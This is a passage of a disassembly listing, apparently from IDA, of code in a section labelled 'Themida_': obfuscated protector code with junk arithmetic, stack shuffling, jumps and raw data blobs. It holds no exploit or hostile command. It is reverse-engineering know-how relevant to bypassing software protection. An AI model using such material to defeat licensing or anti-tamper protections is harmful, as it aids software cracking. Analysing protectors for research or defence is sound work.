		add	esp, 4
		jmp	loc_502F5A
; ---------------------------------------------------------------------------

loc_50620C:				; CODE XREF: Themida_:0050B58Fj
		push	5A2C23F0h
		pop	eax
		add	eax, 0E5950935h
		jmp	loc_5111A1
; ---------------------------------------------------------------------------

loc_50621C:				; CODE XREF: Themida_:0050B6ACj
		mov	[esp], ebx
		mov	bl, dh
		push	edx
		push	eax
		mov	al, bl
		mov	dh, al
		pop	eax
		mov	cl, dh
		pop	edx
		pop	ebx
		jmp	loc_513761
; ---------------------------------------------------------------------------

loc_506231:				; CODE XREF: Themida_:005013EEj
		push	ebx
		mov	ebx, 238126BFh
		add	eax, ebx
		pop	ebx
		jmp	loc_50EFDA
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 405E089h,	0E9000000h, 0FFFFAE14h,	835BD901h
		dd 0FF5104C1h, 59042474h, 8B24048Fh, 0AFE92424h, 81FFFF95h
		dd 4DFF88C7h, 5FF82104h, 3502E0C1h, 78725887h, 0CC211C25h
		dd 8E8C159h, 2151B951h,	0C829A99Ch, 58C52959h, 0FFED2AE9h
		dd 74A168FFh, 3C890000h, 0B1BFE924h, 0E95F0000h, 8994h
		dd 102668h, 242C8900h, 0B8505D54h, 4, 8BA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5062B9:				; CODE XREF: Themida_:0050A075j
		push	3422h
		mov	[esp], ecx
		mov	ecx, 1B8E14FDh
		push	6F7Fh
		jmp	loc_50A3D1
; ---------------------------------------------------------------------------
		dd 592434FFh, 0E904C483h, 8F29h, 9E1377BDh, 6EDC167h, 8106EDC1h
		dd 0C73972CDh, 92ED817Ah, 814DA618h, 975E67C5h,	0CCF58163h
		dd 5790B8BFh, 4E6CB850h, 1E90A92h, 890000C3h, 0D789243Ch
		dd 242C8B57h, 4C481h, 8B5F0000h, 0A5E92414h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506323:				; CODE XREF: Themida_:00506E7Dj
		sub	ebx, 5E0601ACh
		add	ebx, ecx
		add	ebx, 5E0601ACh
		jmp	loc_50B345
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 241C8BD9h, 4C481h, 0C870000h, 24248B24h, 0B1240C89h
		dd 283D2C56h, 431DE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_506356:				; CODE XREF: Themida_:00505136j
		and	ebp, 45A078C0h
		push	edx
		mov	edx, 12F101B4h
		or	ebp, edx
		pop	edx
		or	ebp, 122160F3h
		sub	ebp, 4FBF77FAh
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		shr	ebx, 1
		push	esi
		mov	esi, 0DA3F9863h
		xor	ebx, esi
		jmp	loc_512092
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6830000h, 24348704h, 4EC815Ch, 89000000h
		dd 6FE9241Ch, 83FFFFC6h, 3C8704C7h, 0E9555C24h,	26D5h
		dd 4EC81h, 0C890000h, 0D6B6E924h, 4830000h, 34FF0424h
		dd 5F09E924h, 0A9B80000h, 0F72A6B15h, 706D2DD0h, 5482769h
		dd 6959E523h, 158C729h,	0EC835FFDh, 240C8904h, 7364E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5063F6:				; CODE XREF: Themida_:00503873j
		mov	ecx, [esp]
		jmp	loc_510B90
; ---------------------------------------------------------------------------

loc_5063FE:				; CODE XREF: Themida_:00514137j
		push	ecx
		mov	ecx, 58313B70h
		mov	edi, 58313B74h
		sub	edi, 11175D5Ah
		jmp	loc_50B2BC
; ---------------------------------------------------------------------------

loc_506414:				; CODE XREF: Themida_:00513658j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	ecx
		push	eax
		mov	eax, esp
		jmp	loc_50F189
; ---------------------------------------------------------------------------

loc_50642A:				; CODE XREF: Themida_:0050729Ej
		push	0A06h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		jmp	loc_50B996
; ---------------------------------------------------------------------------
		db 1
		dd 0FF5658C6h, 8B042474h, 89572434h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0FFA4B2E9h,	662D25FFh, 0D8F748EDh
		dd 4A2DD8F7h, 8903DFC3h, 0CD8158C5h, 53772AB3h,	44BBED81h
		dd 16E94152h, 8700000Fh, 685C243Ch, 31FCh, 0ABDDE9h, 0E2895200h
		dd 4C281h, 0BE560000h, 4, 8D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5064A5:				; CODE XREF: Themida_:00512169j
		push	76B7h
		mov	[esp], edi
		mov	edi, 3E7629AAh
		sub	edi, 1A096425h
		inc	edi
		jmp	loc_50AE1A
; ---------------------------------------------------------------------------

loc_5064BE:				; CODE XREF: Themida_:00512C99j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5037DD
; ---------------------------------------------------------------------------

loc_5064D4:				; CODE XREF: Themida_:004FF8FAj
		mov	[esp], edx
		mov	edx, 4E741639h
		xor	edx, 42763D9Dh
		add	ebp, edx
		jmp	loc_50139E
; ---------------------------------------------------------------------------
		db 8Fh,	47h, 40h
		dd 0FF9325E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5064F1:				; CODE XREF: Themida_:00510D0Dj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_507FB9
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 24248B24h, 0F66F9F6h, 6866CCB6h, 46E9005Dh
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506517:				; CODE XREF: Themida_:00509EB2j
		sub	ebp, 0FA23DC09h
		add	ebx, 491373BAh
		sub	ebx, ebp
		jmp	loc_509DAE
; ---------------------------------------------------------------------------
aI4UEVScs	db '\4$U',7,'v~c',0
		db 0
; ---------------------------------------------------------------------------

loc_506539:				; CODE XREF: Themida_:00504D38j
		pop	ebx
		sub	ecx, 35402C61h
		jmp	loc_50CE7E
; ---------------------------------------------------------------------------
		db 0BFh, 0C0h, 24h
		dd 0FB294C92h, 0C7EB815Fh, 12D8350h, 0BF5751C3h, 632F1F7Fh
		dd 241C8757h, 1C87D3F7h, 0EF815F24h, 6F4D8FB9h,	3C8BF989h
		dd 4C48324h, 5659CB01h,	0DC5D90BEh, 0B3CE813Bh,	52654840h
		dd 52BFCBAh, 81DAF772h,	0C26D28F2h, 42D2F768h, 350BE9h
		dd 0B9515900h, 2, 7CA3C381h, 0CB015B27h, 51CEE9h, 0BEE98100h
		dd 5A61480Dh, 0E902C183h, 0FFFFB5DEh, 0B3241C89h, 52505191h
		dd 0EEC001B6h, 8CF68008h, 0FFC28AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5065D1:				; CODE XREF: Themida_:00500393j
		add	ebx, 94929203h
		add	ebp, ebx
		jmp	loc_5114C5
; ---------------------------------------------------------------------------
aZs		db '!Z)',0Dh,0
		align 2
		dw 0C681h
		dd 73806308h, 0F5E95552h, 2D000046h, 50CE4C67h,	6705E801h
		dd 0FF50CE4Ch, 0A6E92434h, 830000ACh, 505102C4h, 4CE967B0h
		dd 52FFFFAEh, 0BAh, 0B4C9E900h,	0BA520000h, 0F441DAh, 15AD501h
		dd 0FF575DEFh, 5F042474h, 4C1BE9h
		db 0
; ---------------------------------------------------------------------------

loc_506635:				; CODE XREF: Themida_:0050B79Bj
		add	esp, 2
		shr	dl, 6
		push	small 0
		sub	[esp], dl
		mov	dl, [esp]
		add	esp, 2
		dec	dl
		sub	dl, 0A8h
		sub	esp, 2
		jmp	loc_513CD9
; ---------------------------------------------------------------------------
		dd 4C281h, 0E9520000h, 19D0h
; ---------------------------------------------------------------------------

loc_506664:				; CODE XREF: Themida_:0051156Aj
		mov	ecx, 59F60DAFh
		mov	ebp, ecx
		pop	ecx
		add	ebp, 0B12EF814h
		add	eax, ebp
		jmp	loc_504CFD
; ---------------------------------------------------------------------------
a_sS		db '_%S',0
		db 0
; ---------------------------------------------------------------------------

loc_50667F:				; CODE XREF: Themida_:005029DEj
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edi, 6CB37911h
		add	edi, ecx
		jmp	loc_50D324
; ---------------------------------------------------------------------------

loc_5066A0:				; CODE XREF: Themida_:0050D8B7j
		pop	edx
		jmp	loc_51256D
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 219A4B18h, 0C92E181h, 27E94FEEh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5066B7:				; CODE XREF: Themida_:0050C36Cj
		push	dword ptr [esp]
		pop	eax
		push	3D6Fh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_50E0C6
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 0FFDD8BE9h, 0E5E952FFh, 66000035h, 0BE6656h,	0F959E900h
		dd 0C381FFFFh, 6E4F7A5Eh, 13E9008Fh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506703:				; CODE XREF: Themida_:005105EEj
		pop	eax
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_50BBB9
; ---------------------------------------------------------------------------
		db 0BBh
		dd 6964759Fh, 0FF9115E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50672D:				; CODE XREF: Themida_:0050CC24j
		pop	esp
		mov	[esp], ebx
		push	2098h
		jmp	loc_5124E0
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0E9830000h, 240C8704h, 8924248Bh, 21E9243Ch
		dd 0FF000095h, 97E92434h, 8B000003h, 0C4812404h, 4, 5142C380h
		dd 7A05E952h, 0BD550000h, 62D149B8h, 69E9E829h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50677B:				; CODE XREF: Themida_:0050A6F3j
		pop	esi
		add	esi, 10807420h
		add	esi, eax
		jmp	loc_507B2B
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 43h
		dd 5642FC58h, 0CB917CBEh, 5EF3016Dh, 0FF5BDF29h, 1C8B2434h
		dd 4C48324h, 0C304C483h, 0FF9069E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5067AD:				; CODE XREF: Themida_:00500ECAj
		push	edx
		mov	edx, 63AB1513h
		jmp	loc_50B314
; ---------------------------------------------------------------------------

loc_5067B8:				; CODE XREF: Themida_:0050860Ej
		sub	dword ptr [esp], 2A3106E1h
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
aIssi		db '',0
		db 0
; ---------------------------------------------------------------------------

loc_5067CB:				; CODE XREF: Themida_:0050376Fj
		pop	ebp
		push	10B11C07h
		pop	esi
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_51242E
; ---------------------------------------------------------------------------

loc_5067DC:				; CODE XREF: Themida_:0051179Aj
		pop	edi
		jmp	loc_50BEF4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704E983h, 895C240Ch, 0E2892414h,	4C281h,	0BE560000h
		dd 4, 43E9F201h, 8900004Ah, 61E95DE9h, 8900004Ch, 1BA2414h
		dd 9000000h, 90E91C57h,	35FFFFE4h, 5FD90033h, 0FF58C301h
		dd 835E2434h, 0C38104C4h, 2, 31241C33h,	57E9241Ch, 5F000054h
		dd 5C24048Fh, 3294E9h
		db 0
; ---------------------------------------------------------------------------

loc_506849:				; CODE XREF: Themida_:00503C70j
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	4B07h
		push	62Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		push	ecx
		mov	ecx, 6CB4745Bh
		mov	edi, 6CB4745Fh
		jmp	loc_50194C
; ---------------------------------------------------------------------------
aISA		db ')]&',0
		dd 88E28800h, 0A324E9D5h, 3487FFFFh, 4FE95C24h,	8900006Dh
		dd 74FF240Ch, 0C8B0424h, 4EC8124h, 89000000h, 0E589242Ch
		dd 4C581h, 0ED810000h, 4, 31242C33h, 2C33242Ch,	0C895C24h
		dd 81E18924h, 4C1h, 4C18300h, 5C240C87h, 5C24048Fh, 8B2434FFh
		dd 5455240Ch, 0E9242C8Bh, 5E24h, 0BE243489h, 292B05B1h
		dd 1A4ECE81h, 0EE816DDBh, 691511B1h, 348BF531h,	4C48124h
		dd 29000000h, 242C8BE8h, 8104C483h, 0D81CD4EBh,	510D687Eh
		dd 2BE90000h, 810000ACh, 4C2h, 24148700h, 4EC815Ch, 89000000h
		dd 0E6892434h, 4C58B850h, 4040408Dh, 4EC81h, 14890000h
		dd 0BF575324h, 5D2A3622h, 0E95FFB89h, 8E47h, 882DEA80h
		dd 0EB305AD5h, 83240C8Bh, 0E95004C4h, 4480h, 8BEA895Ah
		dd 77E9242Ch, 660000A2h, 0E924048Bh, 5976h
; ---------------------------------------------------------------------------

loc_506984:				; CODE XREF: Themida_:00514968j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 22C8526Eh
		sub	ebp, 1AFE4367h
		add	ebp, ecx
		add	ebp, 1AFE4367h
		add	ebp, 22C8526Eh
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_500314
; ---------------------------------------------------------------------------
aRsh		db '[RH',0
		db 0
; ---------------------------------------------------------------------------

loc_5069C5:				; CODE XREF: Themida_:00512C77j
		push	esi
		mov	esi, 66E254EAh
		add	[esp+8], esi
		mov	esi, [esp]
		jmp	loc_50344C
; ---------------------------------------------------------------------------

loc_5069D7:				; CODE XREF: Themida_:00507B43j
		pop	esp
		mov	[esp], edi
		push	7D716294h
		pop	edi
		xor	edi, 4EB86720h
		jmp	loc_5018A0
; ---------------------------------------------------------------------------

loc_5069EC:				; CODE XREF: Themida_:00500CBEj
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		jmp	loc_50C9CB
; ---------------------------------------------------------------------------
		db 57h
		dd 0F889DF89h, 6C8AE95Fh, 0E9530000h, 0FFFFD627h, 0E20B05BDh
		dd 246C8129h, 0B81B4404h, 253EE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_506A22:				; CODE XREF: Themida_:0050CD5Cj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_50D7F7
; ---------------------------------------------------------------------------
		db 68h,	7Ch, 3Dh
		dd 14890000h, 65D8BA24h, 0D1312F5Fh, 1150E9h, 0E9815E00h
		dd 2D767254h, 0C181F901h, 2D767254h, 62B4C181h,	55F1ECDh
		dd 1A4258Bh, 8B2DC801h,	5901A425h, 0BF57D001h, 4FEF0620h
		dd 0C4F7BA52h, 0D729169Eh, 0FF95D8E9h, 88E781FFh, 0E97DD218h
		dd 0FFFFF363h, 0B7C3805Ch, 0E2E9C300h, 5C00007Ah, 24048F54h
		dd 4BF57h, 0E9560000h, 0A6EFh, 0F8045B2Ch, 26E9D828h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_506AAB:				; CODE XREF: Themida_:00503D88j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_505E23
; ---------------------------------------------------------------------------
aAF		db '\',0
aFrFaQhkv	db 'fRqhkV',0
		dw 8900h
		dd 0E952240Ch, 1C3Ch
; ---------------------------------------------------------------------------

loc_506AD4:				; CODE XREF: Themida_:005057E6j
		xor	ebx, 47F62964h
		and	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50F294
; ---------------------------------------------------------------------------

loc_506AE7:				; CODE XREF: Themida_:005095A4j
		add	ebx, edx
		pop	edx
		add	ebx, eax
		push	ebp
		jmp	loc_5040F8
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4C481h, 0E9510000h, 988Bh, 815DEA01h, 4EAh
		dd 0DF2EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_506B12:				; CODE XREF: Themida_:00504457j
		neg	edx
		sub	edx, 0A47C9E4Ah
		jmp	loc_50786C
; ---------------------------------------------------------------------------

loc_506B1F:				; CODE XREF: Themida_:00502F84j
		sub	edi, 5C2019B1h
		shr	edi, 2
		sub	edi, 2E6F1BC2h
		add	ebx, edi
		jmp	loc_511932
; ---------------------------------------------------------------------------

loc_506B35:				; CODE XREF: Themida_:00502521j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_50AF32
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF240Ch, 0C8B0424h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 0E924048Fh, 0D3AEh
; ---------------------------------------------------------------------------

loc_506B68:				; CODE XREF: Themida_:00502C67j
		add	[esp+8], edi
		pop	edi
		add	dword ptr [esp+4], 7AA840FFh
		add	dword ptr [esp+4], 64723E54h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 64723E54h
		sub	dword ptr [esp+4], 7AA840FFh
		sub	dword ptr [esp+4], 1F9A3E1Eh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5131C7
; ---------------------------------------------------------------------------
		db 0FEh
		dd 80C1FEC1h, 0CF28E3C1h, 80596659h, 0F78057E7h, 230459h
		dd 5B232CF8h, 285CB353h, 0EC835BD8h, 0F9EEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506BCE:				; CODE XREF: Themida_:005089CEj
		add	ebx, edx
		add	ebx, 65277CBDh
		pop	edx
		sub	ebx, 4423F2ABh
		sub	esi, 125E5BBDh
		jmp	loc_5047C9
; ---------------------------------------------------------------------------
		dd 80FDEB80h, 0D93060F3h, 81241C8Bh, 4C4h, 0B0E3E900h
		dd 0DA010000h, 0BDC2815Bh, 682C1B49h, 0E59h, 0FF9F61E9h
		dd 2CE828FFh, 4EC8133h,	89000000h, 1EE9241Ch, 6800001Ah
		dd 6583h, 0FFB89EE9h, 8BE4E9FFh, 26BFFFFFh, 2975E7D2h
		dd 0B8505DEFh, 9C859B1Dh, 0E958C589h, 1ACFh, 36ABC181h
		dd 575D7A0Bh, 240AE9h, 8BBCE900h, 489FFFFh, 642B6824h
		dd 26E90000h, 66000028h, 208BB151h, 0C8B66CAh, 2C48124h
		dd 80000000h, 0D0005CF2h, 8324148Bh, 482C04C4h,	0E368D800h
		dd 0E900007Eh, 152Eh, 0C8B8840Fh, 56510000h, 0D5C6853h
		dd 59E94F0Fh, 580000D2h, 508E0C1h, 60E0CB04h, 8158C789h
		dd 0E04CCEBh, 0DDB9E920h, 0EF810000h, 0E673B766h, 0E95F5B57h
		dd 0FFFFC3D5h, 4C4835Dh, 4BF57h, 0F8010000h, 2404335Fh
		dd 0E9240431h, 0FFFF8E8Fh
; ---------------------------------------------------------------------------

loc_506CE0:				; CODE XREF: Themida_:00500980j
		push	ebp
		push	edx
		mov	edx, 2E116D29h
		shr	edx, 1
		push	esi
		mov	esi, 7E8075D6h
		or	edx, esi
		pop	esi
		sub	edx, 7936A092h
		push	edi
		mov	edi, edx
		mov	ebp, edi
		pop	edi
		jmp	loc_506201
; ---------------------------------------------------------------------------
		db 68h
		dd 0AEAh, 0E9240C89h, 4D11h, 1D44C181h,	0C1810D23h, 0B141CE80h
		dd 0E959CD01h, 5658h, 5AD3015Eh, 31241C33h, 1C33241Ch
		dd 24248B24h, 68C8B70Fh, 1D53h,	0E9240C89h, 0FFFF8AD2h
		dd 83241C8Bh, 0CEE904C4h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_506D4F:				; CODE XREF: Themida_:005122B6j
		mov	eax, 77C83AB5h
		jmp	loc_503228
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aS_n		db '\_',0
		align 2
aSs_0		db 'S-%',0
		align 4
		dd 4EC81h, 34890000h, 0FD895524h, 0AFE0E9h, 0FFF20100h
		dd 835E2434h, 148704C4h, 4E95C24h, 0BE000097h, 7CA21650h
		dd 411DC681h, 0F0899F04h, 58C1215Eh, 8104E9C1h,	3F6233F1h
		dd 0FFC8297Eh, 68592434h, 7199h, 54243489h, 4BB535Eh, 1000000h
		dd 3307E9DEh, 34FF0000h, 0D8E95824h, 81000050h,	4C1h, 4C18100h
		dd 87000000h, 685C240Ch, 73F7h,	0FF243489h, 8B042474h
		dd 7FE92434h, 0FF000069h, 575A2434h, 89E9E789h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_506DFB:				; CODE XREF: Themida_:005023CAj
		mov	bl, cl
		jmp	loc_507D30
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48158h,	68000000h, 3D8Bh, 54241489h, 5355535Ah
		dd 0DB5689BBh, 7F9DBD6Eh, 4DE9CE0Bh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_506E2B:				; CODE XREF: Themida_:0050D8C0j
		not	edi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_50FDA4
; ---------------------------------------------------------------------------

loc_506E41:				; CODE XREF: Themida_:0050D360j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_510B4B
; ---------------------------------------------------------------------------
		dd 4E2FE981h, 0FEE966A0h, 33000031h, 665C2434h,	2404BB0Fh
		dd 0E913E99Ch, 0CA81FFFFh, 1C6C6E0Eh, 0E955574Ah, 471Ch
; ---------------------------------------------------------------------------

loc_506E78:				; CODE XREF: Themida_:00514571j
		mov	ecx, 4
		jmp	loc_506323
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4D83EDC1h, 0C8BCF31h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 0FFA7AEE9h, 0E9E389FFh, 5625h
; ---------------------------------------------------------------------------

loc_506EA8:				; CODE XREF: Themida_:0050AB70j
		push	edx
		push	esi
		mov	esi, 1B6C455Ch
		mov	edx, 68106C10h
		xor	edx, esi
		jmp	loc_4FFFF7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B24048Fh, 48F2424h,	24248B24h, 9C240401h, 0FF8945E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_506ED1:				; CODE XREF: Themida_:0050BDC6j
		pop	esp
		jmp	loc_510FB7
; ---------------------------------------------------------------------------

loc_506ED7:				; CODE XREF: Themida_:00501201j
		sub	edx, ebp
		add	edx, 0CB965A5h
		pop	ebp
		xor	edx, [esp]
		jmp	loc_511479
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	618FE95Ah, 148A0000h, 4C48324h
		dd 70ABE9h, 2DF80100h, 107140DFh, 68E0D15Fh, 274Eh, 0BA241489h
		dd 64FD713Eh, 2414F752h, 0E4F2815Ah, 98448ABh, 89535AD0h
		dd 0CC56E9E3h, 31AD0000h, 23DC68D8h, 3C890000h,	984F6824h
		dd 34FF0C98h, 0C4835F24h, 0E5D4E904h, 8B66FFFFh, 70E92404h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506F53:				; CODE XREF: Themida_:00511B5Bj
		push	7697h
		mov	[esp], ecx
		push	edi
		mov	edi, 17641EE6h
		add	edi, 2B005C84h
		jmp	loc_50D7AC
; ---------------------------------------------------------------------------
		dd 2404335Ch, 33240431h, 0C8E92404h, 0FF0000ADh, 48B2434h
		dd 4C48324h, 8104C483h,	4C4h, 4EC8100h,	89000000h, 0E2892414h
		dd 3D56BF57h, 0E7D1130Fh, 0C2ADE9h, 8CC98100h, 5617F42Ah
		dd 0E32DB2BEh, 0D5EE816Eh, 81787B59h, 0BD6AE1E6h, 2CF68119h
		dd 0E93B453Eh, 8614h, 42474FFh,	142AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_506FD2:				; CODE XREF: Themida_:0050D338j
		push	edx
		jmp	loc_512C1D
; ---------------------------------------------------------------------------
		dd 0F7885350h, 525BFC88h, 0C50CE9h
		db 0
; ---------------------------------------------------------------------------

loc_506FE5:				; CODE XREF: Themida_:00507166j
		add	esp, 4
		add	edx, 4
		jmp	loc_50E8C5
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 8AE905h, 0C4830000h,	4EC8304h, 0B8240489h, 3A77238Bh
		dd 0E360F635h, 5D8F702h, 715A5043h, 9141740Dh, 4DF2353Fh
		dd 0C7013FD7h, 9E95358h, 58FFFFABh, 0E95A5452h,	0C667h
		dd 0E959CE29h, 0FFFFEE14h, 0B850h, 0BCE90000h, 2D00008Ch
		dd 401642C3h, 83241C8Bh, 0C38104C4h, 2C9923E9h,	0EB81C301h
		dd 2C9923E9h, 0D141E958h, 0E3050000h, 2D09782Eh, 0B708FA83h
		dd 5FD2E9h, 59CA8800h, 0FFCDBAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50707D:				; CODE XREF: Themida_:0050E3C1j
		push	esi
		push	95658E9h
		jmp	loc_50B486
; ---------------------------------------------------------------------------
		dd 795EF181h, 0CB010259h, 4C38359h, 5C241C87h, 0FF8779E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50709D:				; CODE XREF: Themida_:00511EDBj
		add	dword ptr [esp], 4
		jmp	loc_510F4A
; ---------------------------------------------------------------------------
		dw 5F58h
		dd 83240C8Bh, 535604C4h, 3913BB66h, 88F38166h, 53665566h
		dd 0BF665766h, 2966421Bh, 0E902247Ch, 7F7Bh
; ---------------------------------------------------------------------------

loc_5070CC:				; CODE XREF: Themida_:0050550Fj
		add	edi, esi
		jmp	loc_510E32
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 8424248Bh, 1CE99CC8h, 0F7FFFFAFh
		dd 65EB81D3h, 81B27C86h, 6211ABE9h, 81D90141h, 6211ABC1h
		dd 0B3685B41h, 8900005Fh, 74FF240Ch, 8F590424h,	248B2404h
		dd 0CFF6624h, 0FBE99C24h, 5FFFF86h, 42B35B6h, 0B62DE801h
		dd 52042B35h, 871A6BBAh, 0E9D00120h, 14EDh
; ---------------------------------------------------------------------------

loc_507134:				; CODE XREF: Themida_:00507DEDj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5126D3
; ---------------------------------------------------------------------------
		dd 68F2E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50714E:				; CODE XREF: Themida_:00503E57j
		add	edx, 775F45EEh
		add	edx, ecx
		sub	edx, 775F45EEh
		sub	edx, 2CBD0686h
		pop	ecx
		mov	esi, [esp]
		jmp	loc_506FE5
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 5497BA24h, 0F28115CEh, 1B8D5C6Fh,	148BD301h
		dd 4C48324h, 2700C381h,	0B9511F17h, 7BA67F15h, 159CB29h
		dd 15C381C3h, 817BA67Fh, 172700EBh, 0EDE3E91Fh,	0ED80FFFFh
		dd 0E9E830DDh, 544Ah
; ---------------------------------------------------------------------------

loc_5071B0:				; CODE XREF: Themida_:005096D9j
		pop	edi
		pop	esi
		jmp	loc_4FFC76
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 8650E95Ch, 0E95EFFFFh, 0FFFFABEBh
; ---------------------------------------------------------------------------

loc_5071CC:				; CODE XREF: Themida_:00501F19j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 472C56EBh
		add	ebx, 2E903652h
		xor	ebx, 4032234Bh
		not	ebx
		add	ebx, 640EDE4Ah
		mov	ebp, ebx
		pop	ebx
		add	edx, 0DBB643Bh
		add	edx, ebp
		push	edi
		mov	edi, 1DCD59DCh
		add	edi, 4B101338h
		jmp	loc_503BC0
; ---------------------------------------------------------------------------

loc_507205:				; CODE XREF: Themida_:00509424j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		pop	eax
		jmp	loc_5105EB
; ---------------------------------------------------------------------------
aZuSSpg		db 'ZU^s',1Bh,'鏃',0
		align 4
aSBsr		db 'S',0
		align 10h

loc_507230:				; CODE XREF: Themida_:00510EBFj
		shr	ebx, 5
		or	ebx, 2A512C37h
		sub	ebx, 0CDE17637h
		jmp	loc_509D88
; ---------------------------------------------------------------------------

loc_507244:				; CODE XREF: Themida_:005050A0j
		mov	[esp], esi
		jmp	loc_50B589
; ---------------------------------------------------------------------------

loc_50724C:				; CODE XREF: Themida_:00512E2Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_507D60
; ---------------------------------------------------------------------------
		dd 240C8B66h, 16F868h, 0A0BDE900h, 982DFFFFh, 29FAB226h
		dd 0E95958C5h, 0FFFFB2D5h, 240C8B66h, 7F826853h, 24890000h
		dd 24048124h, 4, 0EC81525Bh, 4,	0E9242C89h, 0FFFFC8AEh
; ---------------------------------------------------------------------------

loc_507298:				; CODE XREF: Themida_:00510287j
		add	esp, 4
		jmp	loc_50642A
; ---------------------------------------------------------------------------

loc_5072A3:				; CODE XREF: Themida_:0050F73Ej
		xor	ebp, edi
		pop	edi
		add	ebp, 60992B6Bh
		push	esi
		mov	esi, 0DA2A39B9h
		jmp	loc_5011F8
; ---------------------------------------------------------------------------
aI4SC		db '4$c',0
		db 0
; ---------------------------------------------------------------------------

loc_5072BF:				; CODE XREF: Themida_:00502C44j
		pop	esi
		add	esi, 1D5A01BBh
		sub	esi, 5477245Ah
		add	edx, esi
		pop	esi
